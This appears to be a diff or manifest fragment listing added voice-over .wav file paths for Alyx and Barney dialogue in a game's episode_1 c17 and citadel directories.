+vo/episode_1/c17/al_hospital_swamped02.wav +vo/episode_1/c17/al_hospital_thrudoor.wav +vo/episode_1/c17/al_hospital_zombiefall.wav +vo/episode_1/c17/al_ifwedont.wav +vo/episode_1/c17/al_illtakestairs.wav +vo/episode_1/c17/al_incidentalinjury.wav +vo/episode_1/c17/al_isthatkleiner.wav +vo/episode_1/c17/al_keepaneye.wav +vo/episode_1/c17/al_kleinercast.wav +vo/episode_1/c17/al_lasttrains.wav +vo/episode_1/c17/al_lasttrain_alltoourselves.wav +vo/episode_1/c17/al_lasttrain_bringupanother01.wav +vo/episode_1/c17/al_lasttrain_bringupanother02.wav +vo/episode_1/c17/al_lasttrain_citadel.wav +vo/episode_1/c17/al_lasttrain_findswitch.wav +vo/episode_1/c17/al_lasttrain_getthistrainmoving01.wav +vo/episode_1/c17/al_lasttrain_getthistrainmoving02.wav +vo/episode_1/c17/al_lasttrain_gettingaway.wav +vo/episode_1/c17/al_lasttrain_Gordon.wav +vo/episode_1/c17/al_lasttrain_herewego.wav +vo/episode_1/c17/al_lasttrain_missedthatone.wav +vo/episode_1/c17/al_lasttrain_needanothertrain.wav +vo/episode_1/c17/al_lasttrain_next.wav +vo/episode_1/c17/al_lasttrain_notgoing.wav +vo/episode_1/c17/al_lasttrain_ohno.wav +vo/episode_1/c17/al_lasttrain_ohnogordon.wav +vo/episode_1/c17/al_lasttrain_omg.wav +vo/episode_1/c17/al_lasttrain_oneforus01.wav +vo/episode_1/c17/al_lasttrain_oneforus02.wav +vo/episode_1/c17/al_lasttrain_prompt01.wav +vo/episode_1/c17/al_lasttrain_prompt02.wav +vo/episode_1/c17/al_lasttrain_prompt03.wav +vo/episode_1/c17/al_lasttrain_pulling.wav +vo/episode_1/c17/al_lasttrain_slowing.wav +vo/episode_1/c17/al_lasttrain_thisisit.wav +vo/episode_1/c17/al_lasttrain_thisisswitch.wav +vo/episode_1/c17/al_lasttrain_toodangerous01.wav +vo/episode_1/c17/al_lasttrain_toodangerous02.wav +vo/episode_1/c17/al_letsgo02.wav +vo/episode_1/c17/al_letsgo03.wav +vo/episode_1/c17/al_letthemfight01.wav +vo/episode_1/c17/al_lookslikeundercontrol.wav +vo/episode_1/c17/al_looktarget_payphone.wav +vo/episode_1/c17/al_lowerbridge.wav +vo/episode_1/c17/al_madedamnthings.wav +vo/episode_1/c17/al_makejump.wav +vo/episode_1/c17/al_meltdown01.wav +vo/episode_1/c17/al_meltdown02.wav +vo/episode_1/c17/al_meltdown03.wav +vo/episode_1/c17/al_movecar.wav +vo/episode_1/c17/al_moveouttogether.wav +vo/episode_1/c17/al_museum01.wav +vo/episode_1/c17/al_museum02.wav +vo/episode_1/c17/al_nag_station01.wav +vo/episode_1/c17/al_nag_station02.wav +vo/episode_1/c17/al_nag_station03.wav +vo/episode_1/c17/al_nag_station04.wav +vo/episode_1/c17/al_needtokeepmoving.wav +vo/episode_1/c17/al_nextfloor.wav +vo/episode_1/c17/al_nicestrider.wav +vo/episode_1/c17/al_nostairs.wav +vo/episode_1/c17/al_notanymore.wav +vo/episode_1/c17/al_notellingtime.wav +vo/episode_1/c17/al_offyourback.wav +vo/episode_1/c17/al_ohnoapc.wav +vo/episode_1/c17/al_okdownthere.wav +vo/episode_1/c17/al_onedeadstrider.wav +vo/episode_1/c17/al_openseason.wav +vo/episode_1/c17/al_outofbullets.wav +vo/episode_1/c17/al_overtoyou.wav +vo/episode_1/c17/al_pb1_afterall.wav +vo/episode_1/c17/al_pb1_guessthatwasntit.wav +vo/episode_1/c17/al_pb1_hm.wav +vo/episode_1/c17/al_pb1_isee.wav +vo/episode_1/c17/al_pb1_lettherebelight01.wav +vo/episode_1/c17/al_pb1_lettherebelight02.wav +vo/episode_1/c17/al_pb1_morelight.wav +vo/episode_1/c17/al_pb1_nicenottorely.wav +vo/episode_1/c17/al_pb1_noreasonicant.wav +vo/episode_1/c17/al_pb1_oh.wav +vo/episode_1/c17/al_pb1_ohgreat.wav +vo/episode_1/c17/al_pb1_ready.wav +vo/episode_1/c17/al_pb1_therewego.wav +vo/episode_1/c17/al_pb1_thisinstead.wav +vo/episode_1/c17/al_pb1_toomuchpower.wav +vo/episode_1/c17/al_pb1_whatididwrong.wav +vo/episode_1/c17/al_pb1_whatsthis.wav +vo/episode_1/c17/al_pbox_nicejobandgun01.wav +vo/episode_1/c17/al_pbox_nicejobandgun02.wav +vo/episode_1/c17/al_pbox_padlock01.wav +vo/episode_1/c17/al_pbox_padlock02.wav +vo/episode_1/c17/al_pb_anotherlock.wav +vo/episode_1/c17/al_pb_antlions01.wav +vo/episode_1/c17/al_pb_antlions02.wav +vo/episode_1/c17/al_pb_antlions03.wav +vo/episode_1/c17/al_pb_awayout.wav +vo/episode_1/c17/al_pb_buildcharge.wav +vo/episode_1/c17/al_pb_chargetofull.wav +vo/episode_1/c17/al_pb_crossfingers.wav +vo/episode_1/c17/al_pb_cycleup.wav +vo/episode_1/c17/al_pb_damnpowerlock01.wav +vo/episode_1/c17/al_pb_damnpowerlock02.wav +vo/episode_1/c17/al_pb_didit.wav +vo/episode_1/c17/al_pb_findapb.wav +vo/episode_1/c17/al_pb_followcable.wav +vo/episode_1/c17/al_pb_gettingbetter.wav +vo/episode_1/c17/al_pb_givemelight.wav +vo/episode_1/c17/al_pb_gottabekidding.wav +vo/episode_1/c17/al_pb_hatetosay.wav +vo/episode_1/c17/al_pb_herewego.wav +vo/episode_1/c17/al_pb_heyimgood.wav +vo/episode_1/c17/al_pb_knowthedrill.wav +vo/episode_1/c17/al_pb_messtakelonger.wav +vo/episode_1/c17/al_pb_mightgivejolt.wav +vo/episode_1/c17/al_pb_mightwork.wav +vo/episode_1/c17/al_pb_notbad.wav +vo/episode_1/c17/al_pb_readyforjolt.wav +vo/episode_1/c17/al_pb_reminders01.wav +vo/episode_1/c17/al_pb_reminders02.wav +vo/episode_1/c17/al_pb_reminders03.wav +vo/episode_1/c17/al_pb_reminders04.wav +vo/episode_1/c17/al_pb_reminders05.wav +vo/episode_1/c17/al_pb_sofarsogood.wav +vo/episode_1/c17/al_pb_sorry01.wav +vo/episode_1/c17/al_pb_sorry02.wav +vo/episode_1/c17/al_pb_sorry03.wav +vo/episode_1/c17/al_pb_startagain01.wav +vo/episode_1/c17/al_pb_startagain02.wav +vo/episode_1/c17/al_pb_startagain03.wav +vo/episode_1/c17/al_pb_startagain04.wav +vo/episode_1/c17/al_pb_thereitis.wav +vo/episode_1/c17/al_peoplelistening.wav +vo/episode_1/c17/al_peopletohelp.wav +vo/episode_1/c17/al_plantbounce.wav +vo/episode_1/c17/al_plaza_view01.wav +vo/episode_1/c17/al_plaza_view02.wav +vo/episode_1/c17/al_plaza_view03.wav +vo/episode_1/c17/al_pushcarback.wav +vo/episode_1/c17/al_pzombie_covered.wav +vo/episode_1/c17/al_pzombie_hate.wav +vo/episode_1/c17/al_pzombie_ohno.wav +vo/episode_1/c17/al_rappel_alert01.wav +vo/episode_1/c17/al_rappel_alert02.wav +vo/episode_1/c17/al_rappel_alert03.wav +vo/episode_1/c17/al_rappel_hearthat.wav +vo/episode_1/c17/al_rappel_hearthat_loud.wav +vo/episode_1/c17/al_rappel_hoping.wav +vo/episode_1/c17/al_rappel_looking01.wav +vo/episode_1/c17/al_rappel_looking02.wav +vo/episode_1/c17/al_rappel_rooftops.wav +vo/episode_1/c17/al_rappel_rooftops_loud.wav +vo/episode_1/c17/al_rappel_scanners.wav +vo/episode_1/c17/al_rappel_spotted.wav +vo/episode_1/c17/al_rattrap.wav +vo/episode_1/c17/al_rearguard.wav +vo/episode_1/c17/al_roller_holdingoff.wav +vo/episode_1/c17/al_safehouse_clearout.wav +vo/episode_1/c17/al_safehouse_figureitout01.wav +vo/episode_1/c17/al_safehouse_figureitout02.wav +vo/episode_1/c17/al_safehouse_illgetthis.wav +vo/episode_1/c17/al_safehouse_million.wav +vo/episode_1/c17/al_safehouse_separate01.wav +vo/episode_1/c17/al_safehouse_separate02.wav +vo/episode_1/c17/al_safehouse_soundgood.wav +vo/episode_1/c17/al_safehouse_stoleinfo01.wav +vo/episode_1/c17/al_safehouse_stoleinfo02.wav +vo/episode_1/c17/al_safehouse_stoleinfo03.wav +vo/episode_1/c17/al_safehouse_takeus.wav +vo/episode_1/c17/al_safehouse_tellus.wav +vo/episode_1/c17/al_safehouse_vorthand01.wav +vo/episode_1/c17/al_safehouse_vorthand02.wav +vo/episode_1/c17/al_safehouse_vorthand03.wav +vo/episode_1/c17/al_safehouse_vortsomething01.wav +vo/episode_1/c17/al_safehouse_vortsomething02.wav +vo/episode_1/c17/al_safehouse_whataboutyou.wav +vo/episode_1/c17/al_safehouse_yeah.wav +vo/episode_1/c17/al_safehouse_yeah_new.wav +vo/episode_1/c17/al_sameaslasttime.wav +vo/episode_1/c17/al_seats.wav +vo/episode_1/c17/al_shortwork.wav +vo/episode_1/c17/al_shouldevac.wav +vo/episode_1/c17/al_slugourway.wav +vo/episode_1/c17/al_sniper_bringroller.wav +vo/episode_1/c17/al_sniper_cantcomewith.wav +vo/episode_1/c17/al_sniper_cantgetthru.wav +vo/episode_1/c17/al_sniper_cantgoout.wav +vo/episode_1/c17/al_sniper_cantgoout2.wav +vo/episode_1/c17/al_sniper_climbup.wav +vo/episode_1/c17/al_sniper_dontrunout.wav +vo/episode_1/c17/al_sniper_dontwasteroller01.wav +vo/episode_1/c17/al_sniper_dontwasteroller02.wav +vo/episode_1/c17/al_sniper_fort.wav +vo/episode_1/c17/al_sniper_grabroller01.wav +vo/episode_1/c17/al_sniper_grabroller02.wav +vo/episode_1/c17/al_sniper_grabroller03.wav +vo/episode_1/c17/al_sniper_grabroller04.wav +vo/episode_1/c17/al_sniper_headoff01.wav +vo/episode_1/c17/al_sniper_headoff02.wav +vo/episode_1/c17/al_sniper_holdback.wav +vo/episode_1/c17/al_sniper_lobroller.wav +vo/episode_1/c17/al_sniper_minesonourside.wav +vo/episode_1/c17/al_sniper_mounted.wav +vo/episode_1/c17/al_sniper_pinned.wav +vo/episode_1/c17/al_sniper_runpoint.wav +vo/episode_1/c17/al_sniper_runpoint_new01.wav +vo/episode_1/c17/al_sniper_runpoint_new02.wav +vo/episode_1/c17/al_sniper_runpoint_new03.wav +vo/episode_1/c17/al_sniper_runpoint_new04.wav +vo/episode_1/c17/al_sniper_takeoutsniper.wav +vo/episode_1/c17/al_snipe_close01.wav +vo/episode_1/c17/al_snipe_close02.wav +vo/episode_1/c17/al_snipe_gunner.wav +vo/episode_1/c17/al_snipe_ladder01.wav +vo/episode_1/c17/al_snipe_ladder02.wav +vo/episode_1/c17/al_snipe_ladder03.wav +vo/episode_1/c17/al_snipe_lure01.wav +vo/episode_1/c17/al_snipe_lure02.wav +vo/episode_1/c17/al_snipe_lure03.wav +vo/episode_1/c17/al_snipe_lure04.wav +vo/episode_1/c17/al_snipe_openandcover01.wav +vo/episode_1/c17/al_snipe_openandcover02.wav +vo/episode_1/c17/al_snipe_post.wav +vo/episode_1/c17/al_snipe_rollers.wav +vo/episode_1/c17/al_snipe_runforit01.wav +vo/episode_1/c17/al_snipe_runforit02.wav +vo/episode_1/c17/al_snipe_runforit03.wav +vo/episode_1/c17/al_snipe_toss.wav +vo/episode_1/c17/al_someonefiring.wav +vo/episode_1/c17/al_startingtoflarehurry.wav +vo/episode_1/c17/al_stillcrank.wav +vo/episode_1/c17/al_strider_again.wav +vo/episode_1/c17/al_strider_another.wav +vo/episode_1/c17/al_strider_berightback.wav +vo/episode_1/c17/al_strider_cantleave.wav +vo/episode_1/c17/al_strider_cantleave_loud.wav +vo/episode_1/c17/al_strider_careful.wav +vo/episode_1/c17/al_strider_fantastic.wav +vo/episode_1/c17/al_strider_getdown.wav +vo/episode_1/c17/al_strider_hurting01.wav +vo/episode_1/c17/al_strider_hurting02.wav +vo/episode_1/c17/al_strider_keephammering.wav +vo/episode_1/c17/al_strider_myhero.wav +vo/episode_1/c17/al_strider_mynewhero.wav +vo/episode_1/c17/al_strider_mynewhero_alt.wav +vo/episode_1/c17/al_strider_omg.wav +vo/episode_1/c17/al_strider_overhere.wav +vo/episode_1/c17/al_strider_pummel01.wav +vo/episode_1/c17/al_strider_pummel02.wav +vo/episode_1/c17/al_strider_scratch.wav +vo/episode_1/c17/al_strider_scratch_loud.wav +vo/episode_1/c17/al_strider_watchout.wav +vo/episode_1/c17/al_strider_yes.wav +vo/episode_1/c17/al_strider_youdidit.wav +vo/episode_1/c17/al_sublevelcut.wav +vo/episode_1/c17/al_subwaymap01.wav +vo/episode_1/c17/al_subwaymap02.wav +vo/episode_1/c17/al_subwaymap03.wav +vo/episode_1/c17/al_subwaymap04.wav +vo/episode_1/c17/al_survivors.wav +vo/episode_1/c17/al_thanksforcover.wav +vo/episode_1/c17/al_thatsoundagain.wav +vo/episode_1/c17/al_thereyouare.wav +vo/episode_1/c17/al_tooksolong.wav +vo/episode_1/c17/al_tougherthanithought.wav +vo/episode_1/c17/al_tow_crank.wav +vo/episode_1/c17/al_tow_doorstuck.wav +vo/episode_1/c17/al_tow_goodidea.wav +vo/episode_1/c17/al_tow_great.wav +vo/episode_1/c17/al_tow_tighter.wav +vo/episode_1/c17/al_tow_tool.wav +vo/episode_1/c17/al_train_bitofluck.wav +vo/episode_1/c17/al_train_climbon.wav +vo/episode_1/c17/al_train_close.wav +vo/episode_1/c17/al_train_flare.wav +vo/episode_1/c17/al_train_gonnamakeit.wav +vo/episode_1/c17/al_train_gonnamiss.wav +vo/episode_1/c17/al_train_gordon.wav +vo/episode_1/c17/al_train_hereitgoes.wav +vo/episode_1/c17/al_train_herewego.wav +vo/episode_1/c17/al_train_holdon.wav +vo/episode_1/c17/al_train_itsgoing.wav +vo/episode_1/c17/al_train_jump.wav +vo/episode_1/c17/al_train_jumpon.wav +vo/episode_1/c17/al_train_letsgonow.wav +vo/episode_1/c17/al_train_madeit01.wav +vo/episode_1/c17/al_train_madeit02.wav +vo/episode_1/c17/al_train_madeit03.wav +vo/episode_1/c17/al_train_missedit.wav +vo/episode_1/c17/al_train_ohnomissed.wav +vo/episode_1/c17/al_train_omg.wav +vo/episode_1/c17/al_train_onemore.wav +vo/episode_1/c17/al_train_overthere.wav +vo/episode_1/c17/al_train_ride01.wav +vo/episode_1/c17/al_train_ride02.wav +vo/episode_1/c17/al_train_stillcatch.wav +vo/episode_1/c17/al_train_thatone.wav +vo/episode_1/c17/al_train_thereitgoes.wav +vo/episode_1/c17/al_train_thisisit.wav +vo/episode_1/c17/al_train_thisway.wav +vo/episode_1/c17/al_tunnel_catchbreath01.wav +vo/episode_1/c17/al_tunnel_catchbreath02.wav +vo/episode_1/c17/al_tunnel_holdup.wav +vo/episode_1/c17/al_tunnel_noteasy01.wav +vo/episode_1/c17/al_tunnel_noteasy02.wav +vo/episode_1/c17/al_tunnel_noteasy03.wav +vo/episode_1/c17/al_tunnel_sameboat01.wav +vo/episode_1/c17/al_tunnel_sameboat02.wav +vo/episode_1/c17/al_tunnel_surface.wav +vo/episode_1/c17/al_turrets.wav +vo/episode_1/c17/al_turretsempty.wav +vo/episode_1/c17/al_tvsmash05.wav +vo/episode_1/c17/al_uhohcomingthru.wav +vo/episode_1/c17/al_ventskills.wav +vo/episode_1/c17/al_watchdoor.wav +vo/episode_1/c17/al_watchself.wav +vo/episode_1/c17/al_watch_barnacle.wav +vo/episode_1/c17/al_welldowhatwecan.wav +vo/episode_1/c17/al_whatimiss.wav +vo/episode_1/c17/al_whatsbeeping.wav +vo/episode_1/c17/al_whatsound.wav +vo/episode_1/c17/al_whatwegonnado.wav +vo/episode_1/c17/al_wholecity.wav +vo/episode_1/c17/al_whydefendgarrison.wav +vo/episode_1/c17/al_whystickaround01.wav +vo/episode_1/c17/al_whystickaround02.wav +vo/episode_1/c17/al_whystickaround03.wav +vo/episode_1/c17/al_whythisway.wav +vo/episode_1/c17/al_workingonit01.wav +vo/episode_1/c17/al_workingonit02.wav +vo/episode_1/c17/al_youdonethisbefore.wav +vo/episode_1/c17/al_youfinished.wav +vo/episode_1/c17/al_youheardthem.wav +vo/episode_1/c17/al_zombieroom_Gordon.wav +vo/episode_1/c17/al_zombieroom_heavyhev.wav +vo/episode_1/c17/al_zombieroom_landlord.wav +vo/episode_1/c17/al_zombieroom_lookout.wav +vo/episode_1/c17/al_zombieroom_lookout01.wav +vo/episode_1/c17/al_zombieroom_lookout02.wav +vo/episode_1/c17/al_zombieroom_scenic.wav +vo/episode_1/c17/al_zombine_asif.wav +vo/episode_1/c17/al_zombine_crap.wav +vo/episode_1/c17/al_zombine_everywhere.wav +vo/episode_1/c17/al_zombine_getit01.wav +vo/episode_1/c17/al_zombine_getit02.wav +vo/episode_1/c17/al_zombine_gothru.wav +vo/episode_1/c17/al_zombine_grenade.wav +vo/episode_1/c17/al_zombine_joke01.wav +vo/episode_1/c17/al_zombine_joke02.wav +vo/episode_1/c17/al_zombine_joke03.wav +vo/episode_1/c17/al_zombine_joke04.wav +vo/episode_1/c17/al_zombine_shinelight.wav +vo/episode_1/c17/al_zombine_trooptrain.wav +vo/episode_1/c17/al_zombine_wth.wav +vo/episode_1/c17/ba_anothergroup.wav +vo/episode_1/c17/ba_areyoucrazy.wav +vo/episode_1/c17/ba_areyousure.wav +vo/episode_1/c17/ba_asskicking.wav +vo/episode_1/c17/ba_beforeyougo01.wav +vo/episode_1/c17/ba_beforeyougo02.wav +vo/episode_1/c17/ba_bestthing01.wav +vo/episode_1/c17/ba_bestthing02.wav +vo/episode_1/c17/ba_bestthing03.wav +vo/episode_1/c17/ba_catchup.wav +vo/episode_1/c17/ba_comeon01.wav +vo/episode_1/c17/ba_deceiving01.wav +vo/episode_1/c17/ba_deceiving02.wav +vo/episode_1/c17/ba_deceiving03.wav +vo/episode_1/c17/ba_defendcitizens01.wav +vo/episode_1/c17/ba_defendcitizens02.wav +vo/episode_1/c17/ba_defendcitizens03.wav +vo/episode_1/c17/ba_defendcitizens04.wav +vo/episode_1/c17/ba_defendcitizens05.wav +vo/episode_1/c17/ba_defendcitizens06.wav +vo/episode_1/c17/ba_defendcitizens07.wav +vo/episode_1/c17/ba_doingok.wav +vo/episode_1/c17/ba_dontletmedown.wav +vo/episode_1/c17/ba_donttakelong.wav +vo/episode_1/c17/ba_finefettle.wav +vo/episode_1/c17/ba_followed01.wav +vo/episode_1/c17/ba_followed02.wav +vo/episode_1/c17/ba_followfreeman.wav +vo/episode_1/c17/ba_gettingaboard01.wav +vo/episode_1/c17/ba_gettingaboard02.wav +vo/episode_1/c17/ba_gettingaboard03.wav +vo/episode_1/c17/ba_gettingaboard04.wav +vo/episode_1/c17/ba_goacross.wav +vo/episode_1/c17/ba_goodjob.wav +vo/episode_1/c17/ba_gordoniknow.wav +vo/episode_1/c17/ba_greeting01.wav +vo/episode_1/c17/ba_greeting02.wav +vo/episode_1/c17/ba_greeting03.wav +vo/episode_1/c17/ba_greeting04.wav +vo/episode_1/c17/ba_groupready01.wav +vo/episode_1/c17/ba_groupready02.wav +vo/episode_1/c17/ba_groupready03.wav +vo/episode_1/c17/ba_groupready04.wav +vo/episode_1/c17/ba_guardpoint.wav +vo/episode_1/c17/ba_gunshipkill.wav +vo/episode_1/c17/ba_head4trains.wav +vo/episode_1/c17/ba_headfornext.wav +vo/episode_1/c17/ba_hellyeah.wav +vo/episode_1/c17/ba_herewego.wav +vo/episode_1/c17/ba_hightailstrider.wav +vo/episode_1/c17/ba_hurrytrain.wav +vo/episode_1/c17/ba_ifyousayso.wav +vo/episode_1/c17/ba_justaboutfull.wav +vo/episode_1/c17/ba_kiddingstrider.wav +vo/episode_1/c17/ba_killapc01.wav +vo/episode_1/c17/ba_killapc02.wav +vo/episode_1/c17/ba_killapc03.wav +vo/episode_1/c17/ba_killgunship01.wav +vo/episode_1/c17/ba_killgunship02.wav +vo/episode_1/c17/ba_killgunship03.wav +vo/episode_1/c17/ba_killgunship04.wav +vo/episode_1/c17/ba_killrpgsoldier01.wav +vo/episode_1/c17/ba_killrpgsoldier02.wav +vo/episode_1/c17/ba_killrpgsoldier03.wav +vo/episode_1/c17/ba_kneecapping.wav +vo/episode_1/c17/ba_knowevac.wav +vo/episode_1/c17/ba_laterseeyou.wav +vo/episode_1/c17/ba_luckydog.wav +vo/episode_1/c17/ba_makeapush01.wav +vo/episode_1/c17/ba_makeapush02.wav +vo/episode_1/c17/ba_moveemout.wav +vo/episode_1/c17/ba_nextyard.wav +vo/episode_1/c17/ba_nicework.wav +vo/episode_1/c17/ba_notrophy.wav +vo/episode_1/c17/ba_ohmanapc.wav +vo/episode_1/c17/ba_ohyeah01.wav +vo/episode_1/c17/ba_pressure.wav +vo/episode_1/c17/ba_runfortrains.wav +vo/episode_1/c17/ba_safepath01.wav +vo/episode_1/c17/ba_safepath02.wav +vo/episode_1/c17/ba_safepath03.wav +vo/episode_1/c17/ba_safepath04.wav +vo/episode_1/c17/ba_seeya.wav +vo/episode_1/c17/ba_seeyouatstation.wav +vo/episode_1/c17/ba_seeyououtthere.wav +vo/episode_1/c17/ba_sheswaiting.wav +vo/episode_1/c17/ba_soldierrpg.wav +vo/episode_1/c17/ba_sorryguys.wav +vo/episode_1/c17/ba_stayandpoint.wav +vo/episode_1/c17/ba_striderknees.wav +vo/episode_1/c17/ba_takedownstrider.wav +vo/episode_1/c17/ba_takeitdown.wav +vo/episode_1/c17/ba_takeoutapc.wav +vo/episode_1/c17/ba_tellemdoc.wav +vo/episode_1/c17/ba_thereyouare01.wav +vo/episode_1/c17/ba_thereyouare02.wav +vo/episode_1/c17/ba_tothetrains.wav +vo/episode_1/c17/ba_trainaboutfull.wav +vo/episode_1/c17/ba_trynottolose.wav +vo/episode_1/c17/ba_woo.wav +vo/episode_1/c17/ba_wrinkleship.wav +vo/episode_1/c17/ba_yeah01.wav +vo/episode_1/c17/ba_yougothim.wav +vo/episode_1/c17/ba_youguyscoming.wav +vo/episode_1/citadel/al_advisor_breen01.wav +vo/episode_1/citadel/al_advisor_breen02.wav +vo/episode_1/citadel/al_advisor_console.wav +vo/episode_1/citadel/al_advisor_findmap01.wav +vo/episode_1/citadel/al_advisor_findmap02.wav +vo/episode_1/citadel/al_advisor_getaway.wav +vo/episode_1/citadel/al_advisor_gonenow01.wav +vo/episode_1/citadel/al_advisor_gonenow02.wav +vo/episode_1/citadel/al_advisor_oldrecording.wav +vo/episode_1/citadel/al_advisor_outofhere.wav +vo/episode_1/citadel/al_advisor_outofthere.wav +vo/episode_1/citadel/al_advisor_pain01.wav +vo/episode_1/citadel/al_advisor_pain02.wav +vo/episode_1/citadel/al_advisor_pain03.wav +vo/episode_1/citadel/al_advisor_pain04.wav +vo/episode_1/citadel/al_advisor_pain05.wav +vo/episode_1/citadel/al_advisor_pain06.wav +vo/episode_1/citadel/al_advisor_pinpath.wav +vo/episode_1/citadel/al_advisor_podthings.wav +vo/episode_1/citadel/al_advisor_shaking01.wav +vo/episode_1/citadel/al_advisor_shaking02.wav +vo/episode_1/citadel/al_advisor_wasthatthing.wav +vo/episode_1/citadel/al_advisor_weirdpain01.wav +vo/episode_1/citadel/al_advisor_weirdpain02.wav +vo/episode_1/citadel/al_advisor_weneedtotogetout.wav +vo/episode_1/citadel/al_advisor_whathell.wav +vo/episode_1/citadel/al_advisor_whatisthisplace.wav +vo/episode_1/citadel/al_advisor_whatwenton.wav +vo/episode_1/citadel/al_apartatseams.wav +vo/episode_1/citadel/al_backtrack.wav +vo/episode_1/citadel/al_backtrack01.wav +vo/episode_1/citadel/al_backtrack02.wav +vo/episode_1/citadel/al_beenthisway.wav +vo/episode_1/citadel/al_berightthere.wav +vo/episode_1/citadel/al_bettercapture.wav +vo/episode_1/citadel/al_betterthancargo.wav +vo/episode_1/citadel/al_block_canyoumovethat.wav +vo/episode_1/citadel/al_block_comeon.wav +vo/episode_1/citadel/al_block_getthru.wav +vo/episode_1/citadel/al_block_movedebris.wav +vo/episode_1/citadel/al_block_onlypath.wav +vo/episode_1/citadel/al_boughtmorehours.wav +vo/episode_1/citadel/al_bridgeout.wav +vo/episode_1/citadel/al_bridge_company.wav +vo/episode_1/citadel/al_bridge_getacross.wav +vo/episode_1/citadel/al_bridge_nicethinking.wav +vo/episode_1/citadel/al_bridge_noidea.wav +vo/episode_1/citadel/al_bridge_pupil01.wav +vo/episode_1/citadel/al_bridge_pupil02.wav +vo/episode_1/citadel/al_bridge_sneak.wav +vo/episode_1/citadel/al_bridge_soldiers.wav +vo/episode_1/citadel/al_cantwait.wav +vo/episode_1/citadel/al_cantwastetime.wav +vo/episode_1/citadel/al_carefulgord.wav +vo/episode_1/citadel/al_cargoplat.wav +vo/episode_1/citadel/al_carlooksempty.wav +vo/episode_1/citadel/al_cavein.wav +vo/episode_1/citadel/al_citvista_coredownthere.wav +vo/episode_1/citadel/al_citvista_glad.wav +vo/episode_1/citadel/al_citvista_lasttime01.wav +vo/episode_1/citadel/al_citvista_lasttime02.wav +vo/episode_1/citadel/al_citvista_noidea01.wav +vo/episode_1/citadel/al_citvista_noidea02.wav +vo/episode_1/citadel/al_citvista_whatdrop.wav +vo/episode_1/citadel/al_cit_blocked.wav +vo/episode_1/citadel/al_cit_wishformap01.wav +vo/episode_1/citadel/al_cit_wishformap02.wav +vo/episode_1/citadel/al_comingapart_01.wav +vo/episode_1/citadel/al_comingapart_02.wav +vo/episode_1/citadel/al_control_heresyourelevator01.wav +vo/episode_1/citadel/al_control_heresyourelevator02.wav +vo/episode_1/citadel/al_control_levels01.wav +vo/episode_1/citadel/al_control_levels02.wav +vo/episode_1/citadel/al_control_levels03.wav +vo/episode_1/citadel/al_coreahead.wav +vo/episode_1/citadel/al_core_blowreactor01.wav +vo/episode_1/citadel/al_core_blowreactor02.wav +vo/episode_1/citadel/al_core_cantgetclear01.wav +vo/episode_1/citadel/al_core_cantgetclear02.wav +vo/episode_1/citadel/al_core_cantgetclear03.wav +vo/episode_1/citadel/al_core_controlcrazy01.wav +vo/episode_1/citadel/al_core_controlcrazy02.wav +vo/episode_1/citadel/al_core_controlcrazy03.wav +vo/episode_1/citadel/al_core_couldbeit01.wav +vo/episode_1/citadel/al_core_couldbeit02.wav +vo/episode_1/citadel/al_core_fargone01.wav +vo/episode_1/citadel/al_core_fargone02.wav +vo/episode_1/citadel/al_core_fargone03.wav +vo/episode_1/citadel/al_core_hellitsjudith01.wav +vo/episode_1/citadel/al_core_hellitsjudith02.wav +vo/episode_1/citadel/al_core_herecomeslift01.wav +vo/episode_1/citadel/al_core_herecomeslift02.wav +vo/episode_1/citadel/al_core_herecomeslift03.wav +vo/episode_1/citadel/al_core_inthrucontrolroom.wav +vo/episode_1/citadel/al_core_letsgo.wav +vo/episode_1/citadel/al_core_liftlocked.wav +vo/episode_1/citadel/al_core_parting.wav +vo/episode_1/citadel/al_core_saybye01.wav +vo/episode_1/citadel/al_core_saybye02.wav +vo/episode_1/citadel/al_creep.wav +vo/episode_1/citadel/al_crumbling.wav +vo/episode_1/citadel/al_damn01.wav +vo/episode_1/citadel/al_dampenereffect.wav +vo/episode_1/citadel/al_deadend.wav +vo/episode_1/citadel/al_deadoffeasy01.wav +vo/episode_1/citadel/al_deadoffeasy02.wav +vo/episode_1/citadel/al_doorhacks01a.wav +vo/episode_1/citadel/al_doorhacks01b.wav +vo/episode_1/citadel/al_doorhacks02a.wav +vo/episode_1/citadel/al_doorhacks02b.wav +vo/episode_1/citadel/al_doorhacks03a.wav +vo/episode_1/citadel/al_doorhacks03b.wav +vo/episode_1/citadel/al_dropship_didyouseethat.wav +vo/episode_1/citadel/al_dropship_getback01.wav +vo/episode_1/citadel/al_dropship_getback02.wav +vo/episode_1/citadel/al_dropship_getback03.wav +vo/episode_1/citadel/al_dropship_getback04.wav +vo/episode_1/citadel/al_dropship_getback05.wav +vo/episode_1/citadel/al_dropship_getback06.wav +vo/episode_1/citadel/al_dropship_getback07.wav +vo/episode_1/citadel/al_dropship_whoa.wav +vo/episode_1/citadel/al_eliteposts.wav +vo/episode_1/citadel/al_everythingsame.wav +vo/episode_1/citadel/al_excelletsgo.wav +vo/episode_1/citadel/al_exhale01.wav +vo/episode_1/citadel/al_findterminal.wav +vo/episode_1/citadel/al_firststage.wav +vo/episode_1/citadel/al_getbarrier.wav +vo/episode_1/citadel/al_getstarted.wav +vo/episode_1/citadel/al_getthruhere01.wav +vo/episode_1/citadel/al_getthruhere02.wav +vo/episode_1/citadel/al_gettocoresoon01.wav +vo/episode_1/citadel/al_gettocoresoon02.wav +vo/episode_1/citadel/al_givemeroller.wav +vo/episode_1/citadel/al_gointocore.wav +vo/episode_1/citadel/al_goodletsgo01.wav +vo/episode_1/citadel/al_goodletsgo02.wav +vo/episode_1/citadel/al_goodluck.wav +vo/episode_1/citadel/al_goodthinking01.wav +vo/episode_1/citadel/al_gottocross.wav +vo/episode_1/citadel/al_gottogettocore.wav +vo/episode_1/citadel/al_gotwhatineeded.wav +vo/episode_1/citadel/al_gotwhatineeded01.wav +vo/episode_1/citadel/al_gotwhatineeded02.wav +vo/episode_1/citadel/al_grabroll01.wav +vo/episode_1/citadel/al_grabroll02.wav +vo/episode_1/citadel/al_grabroll03.wav +vo/episode_1/citadel/al_gravcharge_anotherconsole01.wav +vo/episode_1/citadel/al_gravcharge_anotherconsole02.wav +vo/episode_1/citadel/al_gravcharge_explo.wav +vo/episode_1/citadel/al_gravcharge_keepmoving.wav +vo/episode_1/citadel/al_gravcharge_onourpath.wav +vo/episode_1/citadel/al_gravcharge_thing.wav +vo/episode_1/citadel/al_gravgunlosingpower.wav +vo/episode_1/citadel/al_gravgunlosingpower01.wav +vo/episode_1/citadel/al_gravgunlosingpower02.wav +vo/episode_1/citadel/al_gravgunlosingpower03.wav +vo/episode_1/citadel/al_gravgunlosingpower04.wav 